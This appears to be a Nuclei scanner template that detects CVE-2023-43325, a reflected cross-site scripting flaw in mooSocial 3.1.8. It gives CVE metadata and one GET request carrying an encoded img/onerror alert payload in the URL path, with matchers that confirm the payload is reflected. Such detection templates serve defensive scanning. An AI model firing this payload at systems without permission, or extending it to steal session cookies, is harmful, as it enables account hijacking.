id: CVE-2023-43325 info: name: MooSocial 3.1.8 - Cross-Site Scripting author: r3Y3r53 severity: medium description: | A reflected cross-site scripting (XSS) vulnerability exisits in the data[redirect_url] parameter on user login function of mooSocial v3.1.8 which allows attackers to steal user's session cookies and impersonate their account via a crafted URL. reference: - https://github.com/ahrixia/CVE-2023-43325 - https://nvd.nist.gov/vuln/detail/CVE-2023-43325 - https://moosocial.com/ - https://travel.moosocial.com/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-43325 cwe-id: CWE-79 epss-score: 0.41721 epss-percentile: 0.96951 cpe: cpe:2.3:a:moosocial:moosocial:3.1.8:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: moosocial product: moosocial tags: cve,cve2023,xss,moosocial http: - method: GET path: - "{{BaseURL}}/users/test%22%3E%3Cimg%20src=a%20onerror=alert(document.domain)%3Etest" matchers: - type: dsl dsl: - 'status_code == 404' - 'contains(content_type, "text/html")' - 'contains_all(body, "", "mooSocial")' condition: and # digest: 4b0a00483046022100e6d4a9c0b61de03dca93995d1605cb2fb45c6f6df90cfd7378f9697477c84f00022100992d5efab920f32165f265e1126653c239f5e6fb7ed3acb85ee78d3449688250:922c64590222798bb761d5b6d8e72950